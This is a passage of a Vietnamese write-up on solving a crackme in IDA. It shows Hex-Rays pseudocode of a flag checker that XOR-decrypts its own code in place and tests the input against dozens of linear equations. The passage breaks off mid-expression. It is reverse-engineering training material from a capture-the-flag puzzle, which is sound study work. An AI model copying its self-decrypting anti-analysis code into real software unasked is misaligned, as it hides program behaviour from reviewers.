Để thực thi script, reanalyse lại crackme trong IDA, tại _main nhấn Shift-F2, nhập script và cho thực thi:

2015-11-05_10-24-53Sau khi toàn bộ code đã được giải mã xong, thực hiện tái tạo lại hàm _main do ban đầu đã bị sai: .text:00401056 _main endp ; sp-analysis failed.

2015-11-05_10-50-56Phân tích sơ bộ và đặt tên lại một số biến, ta có được thông tin sau:

2015-11-05_11-01-16Sau đó Flag nhập vào sẽ được sử dung để tính toán và so sánh, ví dụ như các đoạn code sau:

2015-11-05_11-04-562015-11-05_11-07-24Mã giả có được bằng Hexrays:

v12 = 0x88;
  do
  {
    --v12;
    *(_BYTE *)(v12 + 0x401333) ^= 0x26u;
  }
  while ( v12 );
  size_EncryptCode4 = 0x88;
  do
  {
    --size_EncryptCode4;
    *(_BYTE *)(size_EncryptCode4 + 0x4013F3) ^= 0x8Eu;
  }
  while ( size_EncryptCode4 );
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[23]
     + enteredString[26]
     + enteredString[14]
     + enteredString[24]
     + enteredString[17]
     + enteredString[12]
     + enteredString[10]
     + enteredString[15]
     + enteredString[4]
     + enteredString[2]
     + enteredString[6]
     + enteredString[1]
     + enteredString[29]
     + enteredString[11]
     + 2 * (enteredString[9] + enteredString[19]) == 1927 )
    ++iResult;
  v14 = 0x88;
  do
  {
    --v14;
    *(_BYTE *)(v14 + 0x4013F3) ^= 0x8Eu;
  }
  while ( v14 );
  size_EncryptCode5 = 0x17;
  do
  {
    --size_EncryptCode5;
    *(_BYTE *)(size_EncryptCode5 + 0x4014B3) ^= 0x29u;
  }
  while ( size_EncryptCode5 );

Tóm lại, đếm sơ sơ thì có khoảng gần 100 vùng code tính toán và kiểm tra kiểu như trênextreme_sexy_girl. Lẫn lộn trong đống code này là các đoạn code chịu trách nhiệm encryp/decrypt.

Toàn bộ code có được của hàm _main bằng HexRays:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax@1
  HMODULE handle_kernel32; // eax@1
  FARPROC addr_Sleep; // esi@1
  signed int iResult; // eax@1
  char enteredString[32]; // [sp+10h] [bp-A0h]@1
  char ProcName[6]; // [sp+30h] [bp-80h]@1
  char ModuleName[9]; // [sp+38h] [bp-78h]@1
  char def_string2[17]; // [sp+44h] [bp-6Ch]@1
  char def_string1[61]; // [sp+58h] [bp-58h]@1
  char v13; // [sp+95h] [bp-1Bh]@1
  char str_Result_Msg[19]; // [sp+98h] [bp-18h]@201

  *(_DWORD *)enteredString = 0;
  *(_DWORD *)&enteredString[4] = 0;
  *(_DWORD *)&enteredString[8] = 0;
  *(_DWORD *)&enteredString[12] = 0;
  *(_DWORD *)&enteredString[16] = 0;
  *(_DWORD *)&enteredString[20] = 0;
  *(_DWORD *)&enteredString[24] = 0;
  *(_DWORD *)&enteredString[28] = 0;
  def_string1[0] = '-';
  def_string1[1] = '-';
  def_string1[2] = '-';
  def_string1[3] = '-';
  def_string1[4] = '-';
  def_string1[5] = '-';
  def_string1[6] = '-';
  def_string1[7] = '-';
  def_string1[8] = '-';
  def_string1[9] = '-';
  def_string1[51] = '-';
  def_string1[52] = '-';
  def_string1[53] = '-';
  def_string1[54] = '-';
  def_string1[55] = '-';
  def_string1[56] = '-';
  def_string1[57] = '-';
  def_string1[58] = '-';
  def_string1[59] = '-';
  def_string1[60] = '-';
  def_string1[10] = 'F';
  def_string1[11] = 'i';
  def_string1[12] = 'n';
  def_string1[13] = 'd';
  def_string1[14] = ' ';
  def_string1[15] = 't';
  def_string1[16] = 'h';
  def_string1[17] = 'e';
  def_string1[18] = ' ';
  def_string1[19] = 'f';
  def_string1[20] = 'l';
  def_string1[21] = 'a';
  def_string1[22] = 'g';
  def_string1[23] = ':';
  def_string1[24] = ' ';
  def_string1[25] = 'B';
  def_string1[26] = 'y';
  def_string1[27] = ' ';
  def_string1[28] = 'E';
  def_string1[29] = 'x';
  def_string1[30] = 't';
  def_string1[31] = 'r';
  def_string1[32] = 'e';
  def_string1[33] = 'm';
  def_string1[34] = 'e';
  def_string1[35] = 'C';
  def_string1[36] = 'o';
  def_string1[37] = 'd';
  def_string1[38] = 'e';
  def_string1[39] = 'r';
  def_string1[40] = 's';
  def_string1[41] = ',';
  def_string1[42] = ' ';
  def_string1[43] = 'N';
  def_string1[44] = 'o';
  def_string1[45] = 'v';
  def_string1[46] = ' ';
  def_string1[47] = '2';
  def_string1[48] = '0';
  def_string1[49] = '1';
  def_string1[50] = '5';
  v13 = '\0';
  puts(def_string1);
  puts("\n\n");
  def_string2[0] = 'E';
  def_string2[1] = 'n';
  def_string2[2] = 't';
  def_string2[3] = 'e';
  def_string2[4] = 'r';
  def_string2[5] = ' ';
  def_string2[6] = 'y';
  def_string2[7] = 'o';
  def_string2[8] = 'u';
  def_string2[9] = 'r';
  def_string2[10] = ' ';
  def_string2[11] = 'f';
  def_string2[12] = 'l';
  def_string2[13] = 'a';
  def_string2[14] = 'g';
  def_string2[15] = ':';
  def_string2[16] = '\0';
  puts(def_string2);
  puts("\n");
  v3 = (FILE *)sub_404DF4();
  fgets(enteredString, 31, v3);
  ModuleName[0] = 'k';
  ModuleName[1] = 'e';
  ModuleName[2] = 'r';
  ModuleName[3] = 'n';
  ModuleName[4] = 'e';
  ModuleName[5] = 'l';
  ModuleName[6] = '3';
  ModuleName[7] = '2';
  ModuleName[8] = '\0';
  handle_kernel32 = GetModuleHandleA(ModuleName);
  ProcName[0] = 'S';
  ProcName[1] = 'l';
  ProcName[2] = 'e';
  ProcName[3] = 'e';
  ProcName[4] = 'p';
  ProcName[5] = '\0';
  addr_Sleep = GetProcAddress(handle_kernel32, ProcName);
  ((void (__stdcall *)(signed int))addr_Sleep)(750);
  iResult = 0;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[26]
     + enteredString[20]
     + enteredString[10]
     + enteredString[7]
     + 3 * enteredString[14]
     + 2
     * (enteredString[23]
      + enteredString[24]
      + enteredString[17]
      + enteredString[21]
      + enteredString[12]
      + enteredString[18]) == 2024 )
    iResult = 1;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[23]
     + enteredString[26]
     + enteredString[14]
     + enteredString[24]
     + enteredString[17]
     + enteredString[12]
     + enteredString[10]
     + enteredString[15]
     + enteredString[4]
     + enteredString[2]
     + enteredString[6]
     + enteredString[1]
     + enteredString[29]
     + enteredString[11]
     + 2 * (enteredString[9] + enteredString[19]) == 1927 )
    ++iResult;
  if ( enteredString[14] + enteredString[10] == 148 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[14]
     + enteredString[10]
     + enteredString[11]
     + enteredString[3]
     + enteredString[25]
     + 2 * (enteredString[22] + enteredString[27]) == 741 )
    ++iResult;
  if ( enteredString[24] + enteredString[29] == 229 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[26]
     + enteredString[20]
     + enteredString[21]
     + enteredString[12]
     + enteredString[7]
     + enteredString[9]
     + enteredString[15]
     + enteredString[4]
     + enteredString[1]
     + enteredString[29]
     + enteredString[11]
     + enteredString[3]
     + enteredString[27]
     + enteredString[25]
     + enteredString[5]
     + enteredString[8]
     + enteredString[16]
     + 2 * (enteredString[6] + enteredString[19]) == 2133 )
    ++iResult;
  if ( enteredString[14]
     + enteredString[17]
     + enteredString[7]
     + enteredString[15]
     + enteredString[11]
     + enteredString[8] == 619 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[26]
     + enteredString[21]
     + enteredString[12]
     + enteredString[7]
     + enteredString[11]
     + enteredString[16]
     + enteredString[28]
     + 2 * enteredString[23] == 996 )
    ++iResult;
  if ( enteredString[24]
     + enteredString[17]
     + enteredString[6]
     + enteredString[1]
     + enteredString[29]
     + 2 * enteredString[21] == 717 )
    ++iResult;
  if ( enteredString[24]
     + enteredString[21]
     + enteredString[12]
     + enteredString[18]
     + enteredString[6]
     + enteredString[29]
     + enteredString[11]
     + enteredString[8]
     + enteredString[16]
     + 3 * enteredString[26]
     + 2
     * (enteredString[0]
      + enteredString[17]
      + enteredString[2]
      + enteredString[19]
      + enteredString[5]
      + enteredString[28]
      + enteredString[13]) == 2308 )
    ++iResult;
  if ( enteredString[20]
     + enteredString[17]
     + enteredString[21]
     + enteredString[7]
     + enteredString[9]
     + enteredString[1]
     + enteredString[19]
     + enteredString[11]
     + enteredString[27]
     + enteredString[8]
     + enteredString[28]
     + 3 * (enteredString[14] + enteredString[3])
     + 2 * (enteredString[0] + enteredString[23] + enteredString[18] + enteredString[6]) == 2347 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[26]
     + enteredString[20]
     + enteredString[24]
     + enteredString[10]
     + enteredString[9]
     + enteredString[6]
     + enteredString[11]
     + enteredString[25]
     + 2 * (enteredString[23] + enteredString[28]) == 1041 )
    ++iResult;
  if ( enteredString[23] + enteredString[6] + enteredString[27] == 184 )
    ++iResult;
  if ( enteredString[23]
     + enteredString[18]
     + enteredString[9]
     + enteredString[19]
     + enteredString[11]
     + enteredString[25]
     + enteredString[5]
     + enteredString[16]
     + 2 * enteredString[1] == 1076 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[26]
     + enteredString[20]
     + enteredString[24]
     + enteredString[10]
     + enteredString[7]
     + enteredString[4]
     + enteredString[2]
     + enteredString[6]
     + enteredString[19]
     + enteredString[11] == 1040 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[23]
     + enteredString[14]
     + enteredString[18]
     + enteredString[10]
     + enteredString[4]
     + enteredString[6]
     + enteredString[1]
     + enteredString[19]
     + enteredString[11]
     + enteredString[8]
     + enteredString[16]
     + enteredString[28]
     + 5 * enteredString[21]
     + 3 * enteredString[13]
     + 2 * (enteredString[26] + enteredString[24]) == 2393 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[23]
     + enteredString[26]
     + enteredString[24]
     + enteredString[9]
     + enteredString[15]
     + enteredString[29]
     + enteredString[11]
     + enteredString[25] == 901 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[18]
     + enteredString[10]
     + enteredString[7]
     + enteredString[9]
     + enteredString[29]
     + enteredString[11]
     + enteredString[28]
     + 3 * enteredString[26] == 893 )
    ++iResult;
  if ( enteredString[18] + enteredString[11] + enteredString[3] == 308 )
    ++iResult;
  if ( enteredString[22]
     + enteredString[14]
     + enteredString[20]
     + enteredString[12]
     + enteredString[10]
     + enteredString[4]
     + enteredString[2]
     + enteredString[19]
     + enteredString[29]
     + enteredString[5]
     + enteredString[8]
     + enteredString[13]
     + 2 * enteredString[18] == 1350 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[26]
     + enteredString[14]
     + enteredString[20]
     + enteredString[17]
     + enteredString[7]
     + enteredString[9]
     + enteredString[1]
     + enteredString[19]
     + enteredString[5]
     + enteredString[8]
     + 2 * (enteredString[15] + enteredString[29] + enteredString[28]) == 0x62C )
    ++iResult;
  if ( enteredString[14]
     + enteredString[20]
     + enteredString[24]
     + enteredString[12]
     + enteredString[18]
     + enteredString[10]
     + enteredString[15]
     + enteredString[6]
     + enteredString[29]
     + enteredString[3]
     + enteredString[25]
     + 3 * enteredString[21]
     + 2 * (enteredString[0] + enteredString[7] + enteredString[4]) == 0x81B )
    ++iResult;
  if ( enteredString[23]
     + enteredString[26]
     + enteredString[24]
     + enteredString[17]
     + enteredString[21]
     + enteredString[18]
     + enteredString[10]
     + enteredString[6]
     + enteredString[11]
     + enteredString[5]
     + enteredString[8]
     + enteredString[13]
     + 3 * enteredString[22]
     + 2 * (enteredString[7] + enteredString[9] + enteredString[27]) == 0x6B9 )
    ++iResult;
  if ( enteredString[11] + enteredString[28] == 141 )
    ++iResult;
  if ( enteredString[26]
     + enteredString[24]
     + enteredString[17]
     + enteredString[12]
     + enteredString[7]
     + enteredString[4]
     + enteredString[29]
     + enteredString[5]
     + enteredString[16]
     + enteredString[13]
     + 2 * (enteredString[22] + enteredString[15] + enteredString[25]) == 0x60E )
    ++iResult;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[20]
     + enteredString[17]
     + enteredString[18]
     + enteredString[15]
     + enteredString[2]
     + enteredString[1]
     + enteredString[19]
     + enteredString[27]
     + enteredString[5]
     + enteredString[16]
     + enteredString[13]
     + 2
     * (enteredString[14]
      + enteredString[24]
      + enteredString[10]
      + enteredString[7]
      + enteredString[6]
      + enteredString[11]
      + enteredString[25]) == 0x9B4 )
    ++iResult;
  if ( enteredString[22]
     + enteredString[17]
     + enteredString[10]
     + enteredString[5]
     + enteredString[16]
     + 2 * (enteredString[20] + enteredString[24]) == 0x324 )
    ++iResult;
  if ( enteredString[7]
     + enteredString[4]
     + enteredString[2]
     + enteredString[27]
     + enteredString[25]
     + enteredString[5]
     + enteredString[8]
     + enteredString[16]
     + enteredString[13]
     + 3 * (enteredString[22] + enteredString[24] + enteredString[9])
     + 2 * (enteredString[0] + enteredString[1] + enteredString[28] + 2 * enteredString[10]) == 0x941 )
    ++iResult;
  if ( enteredString[23]
     + enteredString[17]
     + enteredString[12]
     + enteredString[27]
     + enteredString[16]
     + 2 * enteredString[9] == 0x2C0 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[26]
     + enteredString[24]
     + enteredString[10]
     + enteredString[7]
     + enteredString[4]
     + enteredString[6]
     + enteredString[1]
     + enteredString[29]
     + enteredString[11]
     + enteredString[3]
     + enteredString[27]
     + enteredString[5]
     + enteredString[8]
     + enteredString[13]
     + 3 * enteredString[20]
     + 2 * (enteredString[22] + enteredString[14] + enteredString[15]) == 0x83E )
    ++iResult;
  if ( enteredString[26]
     + enteredString[14]
     + enteredString[21]
     + enteredString[18]
     + enteredString[9]
     + enteredString[15]
     + enteredString[2]
     + enteredString[29]
     + enteredString[3]
     + enteredString[5] == 968 )
    ++iResult;
  if ( enteredString[24]
     + enteredString[12]
     + enteredString[4]
     + enteredString[1]
     + enteredString[19]
     + enteredString[3]
     + enteredString[16]
     + 2 * (enteredString[26] + enteredString[21] + enteredString[6] + enteredString[5]) == 1356 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[21]
     + enteredString[9]
     + enteredString[15]
     + enteredString[29]
     + enteredString[3]
     + enteredString[5]
     + 3 * enteredString[23]
     + 2 * (enteredString[12] + enteredString[7] + enteredString[19] + enteredString[27]) == 0x74D )
    ++iResult;
  if ( enteredString[26]
     + enteredString[14]
     + enteredString[18]
     + enteredString[7]
     + enteredString[9]
     + enteredString[2]
     + enteredString[1]
     + enteredString[3]
     + enteredString[5]
     + enteredString[8]
     + enteredString[28]
     + 2
     * (enteredString[0]
      + enteredString[20]
      + enteredString[17]
      + enteredString[21]
      + enteredString[15]
      + enteredString[6]
      + enteredString[19]
      + enteredString[25]
      + enteredString[13]) == 2769 )
    ++iResult;
  if ( enteredString[22]
     + enteredString[23]
     + enteredString[10]
     + enteredString[15]
     + enteredString[19]
     + enteredString[11]
     + enteredString[8]
     + enteredString[28]
     + 2
     * (enteredString[0]
      + enteredString[24]
      + enteredString[1]
      + enteredString[3]
      + enteredString[27]
      + 2 * (enteredString[26] + enteredString[7])) == 2147 )
    ++iResult;
  if ( enteredString[23]
     + enteredString[14]
     + enteredString[20]
     + enteredString[24]
     + enteredString[17]
     + enteredString[19]
     + enteredString[11]
     + enteredString[3]
     + enteredString[25]
     + enteredString[13]
     + 2
     * (enteredString[0]
      + enteredString[21]
      + enteredString[9]
      + enteredString[2]
      + enteredString[6]
      + enteredString[1]
      + enteredString[16]) == 2450 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[26]
     + enteredString[24]
     + enteredString[17]
     + enteredString[21]
     + enteredString[18]
     + enteredString[10]
     + enteredString[9]
     + enteredString[19]
     + enteredString[27]
     + enteredString[25]
     + 3 * (enteredString[11] + enteredString[13])
     + 2 * (enteredString[12] + enteredString[28] + 2 * (enteredString[1] + enteredString[3])) == 2755 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[23]
     + enteredString[26]
     + enteredString[20]
     + enteredString[21]
     + enteredString[12]
     + enteredString[7]
     + enteredString[9]
     + enteredString[2]
     + enteredString[1]
     + enteredString[11]
     + enteredString[5]
     + enteredString[16]
     + 3 * (enteredString[6] + enteredString[25])
     + 2 * (enteredString[24] + enteredString[18] + enteredString[10] + enteredString[15] + enteredString[28]) == 2561 )
    ++iResult;
  if ( enteredString[21] + enteredString[4] + enteredString[19] + enteredString[5] + 2 * enteredString[14] == 642 )
    ++iResult;
  if ( enteredString[20]
     + enteredString[24]
     + enteredString[17]
     + enteredString[4]
     + enteredString[27]
     + enteredString[25]
     + enteredString[8]
     + enteredString[16]
     + 3 * enteredString[19]
     + 2 * (enteredString[26] + enteredString[14] + enteredString[7] + enteredString[13] + 2 * enteredString[29]) == 0x920 )
    ++iResult;
  if ( enteredString[20]
     + enteredString[24]
     + enteredString[12]
     + enteredString[18]
     + enteredString[10]
     + 3 * enteredString[3]
     + 2
     * (enteredString[17]
      + enteredString[21]
      + enteredString[9]
      + enteredString[15]
      + enteredString[2]
      + enteredString[1]
      + enteredString[19]
      + enteredString[29]
      + enteredString[11]
      + enteredString[8]) == 2925 )
    ++iResult;
  if ( enteredString[23]
     + enteredString[20]
     + enteredString[24]
     + enteredString[10]
     + enteredString[15]
     + enteredString[6]
     + enteredString[19]
     + enteredString[29]
     + enteredString[3]
     + enteredString[8]
     + enteredString[16]
     + enteredString[28]
     + 3 * enteredString[7]
     + 2
     * (enteredString[14]
      + enteredString[17]
      + enteredString[12]
      + enteredString[9]
      + enteredString[1]
      + enteredString[25]
      + enteredString[13]) == 2956 )
    ++iResult;
  if ( enteredString[22]
     + enteredString[26]
     + enteredString[24]
     + enteredString[7]
     + enteredString[15]
     + enteredString[2]
     + enteredString[11]
     + enteredString[3]
     + enteredString[25]
     + enteredString[5]
     + enteredString[13]
     + 2 * (enteredString[20] + enteredString[21] + enteredString[12] + enteredString[18] + enteredString[8]) == 2050 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[9]
     + enteredString[11]
     + enteredString[25]
     + enteredString[5]
     + 2 * enteredString[22] == 628 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[26]
     + enteredString[20]
     + enteredString[12]
     + enteredString[2]
     + enteredString[6]
     + enteredString[29]
     + enteredString[11]
     + enteredString[3]
     + enteredString[25]
     + enteredString[5]
     + enteredString[16]
     + 2 * (enteredString[22] + enteredString[9] + enteredString[19] + 2 * enteredString[28]) == 1842 )
    ++iResult;
  if ( enteredString[24] + enteredString[10] + enteredString[9] + enteredString[11] + enteredString[16] == 491 )
    ++iResult;
  if ( enteredString[22]
     + enteredString[23]
     + enteredString[24]
     + enteredString[17]
     + enteredString[12]
     + enteredString[6]
     + enteredString[29]
     + enteredString[27]
     + enteredString[5]
     + enteredString[16]
     + enteredString[28]
     + 3 * enteredString[4]
     + 2
     * (enteredString[21]
      + enteredString[15]
      + enteredString[2]
      + enteredString[1]
      + enteredString[3]
      + enteredString[25]) == 2557 )
    ++iResult;
  if ( enteredString[26] + enteredString[7] + enteredString[27] + 3 * enteredString[2] == 474 )
    ++iResult;
  if ( enteredString[23]
     + enteredString[14]
     + enteredString[21]
     + enteredString[12]
     + enteredString[7]
     + enteredString[15]
     + enteredString[2]
     + enteredString[11]
     + enteredString[3]
     + enteredString[8]
     + 2 * (enteredString[18] + enteredString[6] + enteredString[27] + enteredString[28]) == 1472 )
    ++iResult;
  if ( enteredString[17]
     + enteredString[7]
     + enteredString[2]
     + enteredString[25]
     + enteredString[5]
     + enteredString[13]
     + 3 * enteredString[28] == 723 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[23]
     + enteredString[14]
     + enteredString[24]
     + enteredString[21]
     + enteredString[12]
     + enteredString[10]
     + enteredString[7]
     + enteredString[15]
     + enteredString[19]
     + enteredString[29]
     + enteredString[3]
     + enteredString[16]
     + 3 * (enteredString[6] + enteredString[1])
     + 2 * (enteredString[18] + enteredString[25]) == 2304 )
    ++iResult;
  if ( enteredString[20]
     + enteredString[24]
     + enteredString[17]
     + enteredString[21]
     + enteredString[10]
     + enteredString[15]
     + enteredString[2]
     + enteredString[6]
     + enteredString[1]
     + enteredString[19]
     + enteredString[3]
     + enteredString[25]
     + enteredString[8]
     + enteredString[28]
     + 3 * enteredString[12]
     + 2 * (enteredString[22] + enteredString[26] + enteredString[18] + enteredString[4]) == 2234 )
    ++iResult;
  if ( enteredString[22] + enteredString[12] + enteredString[10] + enteredString[4] + enteredString[29] == 463 )
    ++iResult;
  if ( enteredString[21] + enteredString[18] == 211 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[23]
     + enteredString[21]
     + enteredString[18]
     + enteredString[7]
     + enteredString[4]
     + enteredString[11]
     + enteredString[8]
     + enteredString[28]
     + enteredString[13]
     + 3 * enteredString[12]
     + 2 * (enteredString[26] + enteredString[9] + enteredString[29] + enteredString[27]) == 2008 )
    ++iResult;
  if ( enteredString[20]
     + enteredString[12]
     + enteredString[18]
     + enteredString[15]
     + enteredString[29]
     + enteredString[5]
     + enteredString[28]
     + 3 * enteredString[10]
     + 2 * (enteredString[14] + enteredString[25]) == 1228 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[24]
     + enteredString[21]
     + enteredString[9]
     + enteredString[4]
     + enteredString[2]
     + enteredString[1]
     + enteredString[11]
     + enteredString[3]
     + enteredString[5]
     + enteredString[8]
     + enteredString[28] == 1191 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[14]
     + enteredString[20]
     + enteredString[24]
     + enteredString[15]
     + enteredString[4]
     + enteredString[1]
     + enteredString[5]
     + enteredString[16]
     + 3 * enteredString[29]
     + 2 * (enteredString[2] + enteredString[8]) == 1691 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[23]
     + enteredString[14]
     + enteredString[17]
     + enteredString[12]
     + enteredString[10]
     + enteredString[9]
     + enteredString[15]
     + enteredString[19]
     + enteredString[3]
     + 2
     * (enteredString[21]
      + enteredString[7]
      + enteredString[1]
      + enteredString[27]
      + enteredString[8]
      + 2 * enteredString[26]) == 2070 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[17]
     + enteredString[18]
     + enteredString[10]
     + enteredString[2]
     + enteredString[19]
     + enteredString[11]
     + enteredString[28]
     + 3 * (enteredString[14] + enteredString[20] + enteredString[1])
     + 2
     * (enteredString[26] + enteredString[7]
                          + enteredString[4]
                          + enteredString[3]
                          + enteredString[25]
                          + enteredString[5]) == 2776 )
    ++iResult;
  if ( enteredString[20]
     + enteredString[10]
     + enteredString[2]
     + enteredString[1]
     + enteredString[19]
     + enteredString[11]
     + enteredString[3]
     + enteredString[27]
     + enteredString[16]
     + enteredString[28]
     + 3 * (enteredString[14] + enteredString[12])
     + 2 * (enteredString[0] + enteredString[24] + enteredString[4]) == 2169 )
    ++iResult;
  if ( enteredString[22]
     + enteredString[7]
     + enteredString[29]
     + enteredString[11]
     + enteredString[27]
     + enteredString[16]
     + enteredString[28]
     + enteredString[13]
     + 2 * (enteredString[23] + enteredString[6] + enteredString[25] + enteredString[5]) == 1394 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[14]
     + enteredString[24]
     + enteredString[21]
     + enteredString[18]
     + enteredString[4]
     + enteredString[6]
     + enteredString[29]
     + enteredString[3]
     + 3 * enteredString[2]
     + 2 * (enteredString[17] + 2 * enteredString[25]) == 1928 )
    ++iResult;
  if ( enteredString[0] + enteredString[23] + enteredString[24] + enteredString[25] + enteredString[5] == 514 )
    ++iResult;
  if ( enteredString[26]
     + enteredString[17]
     + enteredString[21]
     + enteredString[19]
     + enteredString[25]
     + enteredString[16]
     + enteredString[13] == 700 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[26]
     + enteredString[14]
     + enteredString[17]
     + enteredString[18]
     + enteredString[15]
     + enteredString[2]
     + enteredString[19]
     + enteredString[27]
     + enteredString[25]
     + enteredString[13]
     + 2 * enteredString[20] == 1184 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[23]
     + enteredString[20]
     + enteredString[24]
     + enteredString[12]
     + enteredString[15]
     + enteredString[4]
     + enteredString[29]
     + enteredString[3]
     + enteredString[5]
     + 2 * enteredString[11] == 1273 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[26]
     + enteredString[14]
     + enteredString[21]
     + enteredString[12]
     + enteredString[4]
     + enteredString[6]
     + enteredString[1]
     + enteredString[19]
     + enteredString[29]
     + enteredString[5]
     + enteredString[16] == 1192 )
    ++iResult;
  if ( enteredString[22]
     + enteredString[21]
     + enteredString[12]
     + enteredString[15]
     + enteredString[11]
     + enteredString[8]
     + enteredString[28]
     + enteredString[13]
     + 2 * enteredString[14] == 913 )
    ++iResult;
  if ( enteredString[24] + enteredString[18] + enteredString[10] + enteredString[25] + 2 * enteredString[20] == 555 )
    ++iResult;
  if ( enteredString[26] + enteredString[1] + enteredString[16] == 257 )
    ++iResult;
  if ( enteredString[12]
     + enteredString[18]
     + enteredString[7]
     + enteredString[9]
     + enteredString[15]
     + enteredString[4]
     + enteredString[3]
     + enteredString[13]
     + 2 * (enteredString[22] + enteredString[14] + enteredString[10] + enteredString[19] + enteredString[27]) == 1561 )
    ++iResult;
  if ( enteredString[20]
     + enteredString[17]
     + enteredString[18]
     + enteredString[6]
     + enteredString[1]
     + enteredString[19]
     + enteredString[29]
     + enteredString[3]
     + enteredString[13]
     + 2 * enteredString[11] == 1113 )
    ++iResult;
  if ( enteredString[20]
     + enteredString[24]
     + enteredString[10]
     + enteredString[15]
     + enteredString[6]
     + enteredString[13]
     + 2 * enteredString[22] == 589 )
    ++iResult;
  if ( enteredString[23]
     + enteredString[26]
     + enteredString[14]
     + enteredString[17]
     + enteredString[21]
     + enteredString[18]
     + enteredString[10]
     + enteredString[3]
     + enteredString[25]
     + 3 * (enteredString[4] + enteredString[19] + enteredString[27])
     + 2 * (enteredString[22] + enteredString[15] + enteredString[11]) == 2138 )
    ++iResult;
  if ( enteredString[15] + enteredString[2] + enteredString[8] == 287 )
    ++iResult;
  if ( enteredString[15]
     + enteredString[4]
     + enteredString[27]
     + enteredString[8]
     + enteredString[28]
     + 3 * enteredString[6]
     + 2 * enteredString[23] == 729 )
    ++iResult;
  if ( enteredString[0] + enteredString[2] == 199 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[23]
     + enteredString[17]
     + enteredString[10]
     + enteredString[6]
     + enteredString[19]
     + enteredString[3]
     + enteredString[25]
     + enteredString[8]
     + 3 * (enteredString[21] + enteredString[1] + enteredString[11])
     + 2 * (enteredString[22] + enteredString[14] + enteredString[12] + enteredString[29] + enteredString[5]) == 2787 )
    ++iResult;
  if ( enteredString[21]
     + enteredString[10]
     + enteredString[7]
     + enteredString[9]
     + enteredString[4]
     + enteredString[19]
     + enteredString[11]
     + enteredString[3]
     + enteredString[28]
     + 2 * enteredString[2] == 1071 )
    ++iResult;
  if ( enteredString[14]
     + enteredString[20]
     + enteredString[18]
     + enteredString[15]
     + enteredString[6]
     + enteredString[11]
     + enteredString[3]
     + enteredString[25]
     + enteredString[8]
     + enteredString[13] == 958 )
    ++iResult;
  if ( enteredString[10] + enteredString[4] + enteredString[16] + 2 * enteredString[8] == 477 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[17]
     + enteredString[9]
     + enteredString[15]
     + enteredString[4]
     + enteredString[3]
     + enteredString[27]
     + enteredString[8]
     + 3 * enteredString[28]
     + 2
     * (enteredString[14]
      + enteredString[20]
      + enteredString[7]
      + enteredString[2]
      + enteredString[6]
      + enteredString[16]) == 2015 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[26]
     + enteredString[14]
     + enteredString[20]
     + enteredString[10]
     + enteredString[7]
     + enteredString[15]
     + enteredString[1]
     + enteredString[27]
     + enteredString[28]
     + 2 * (enteredString[21] + enteredString[18] + enteredString[2] + enteredString[29]) == 1679 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[22]
     + enteredString[20]
     + enteredString[24]
     + enteredString[7]
     + enteredString[15]
     + enteredString[19]
     + enteredString[11]
     + enteredString[3]
     + enteredString[27]
     + enteredString[5]
     + enteredString[16]
     + enteredString[13]
     + 3 * enteredString[14]
     + 2 * (enteredString[12] + enteredString[10] + enteredString[4] + enteredString[25] + enteredString[28]) == 2404 )
    ++iResult;
  if ( enteredString[12]
     + enteredString[18]
     + enteredString[1]
     + enteredString[29]
     + enteredString[8]
     + enteredString[28]
     + 3 * enteredString[13]
     + 2
     * (enteredString[0]
      + enteredString[21]
      + enteredString[10]
      + enteredString[15]
      + enteredString[4]
      + enteredString[6]
      + enteredString[19]
      + enteredString[11]
      + enteredString[27]) == 2453 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[26]
     + enteredString[14]
     + enteredString[20]
     + enteredString[7]
     + enteredString[9]
     + enteredString[1]
     + enteredString[29]
     + enteredString[11]
     + enteredString[27]
     + enteredString[5]
     + enteredString[16]
     + enteredString[13]
     + 2 * (enteredString[17] + enteredString[3] + enteredString[28]) == 1722 )
    ++iResult;
  if ( enteredString[12]
     + enteredString[18]
     + enteredString[7]
     + enteredString[15]
     + enteredString[4]
     + enteredString[2]
     + enteredString[6]
     + enteredString[1]
     + 3 * (enteredString[5] + enteredString[13])
     + 2
     * (enteredString[22]
      + enteredString[26]
      + enteredString[10]
      + enteredString[3]
      + enteredString[27]
      + enteredString[28]) == 1971 )
    ++iResult;
  if ( enteredString[11] + enteredString[28] == 141 )
    ++iResult;
  if ( enteredString[22]
     + enteredString[14]
     + enteredString[17]
     + enteredString[10]
     + enteredString[1]
     + enteredString[27]
     + 3 * (enteredString[20] + enteredString[7])
     + 2 * (enteredString[18] + enteredString[4] + enteredString[19] + enteredString[25] + enteredString[13]) == 2184 )
    ++iResult;
  if ( enteredString[24]
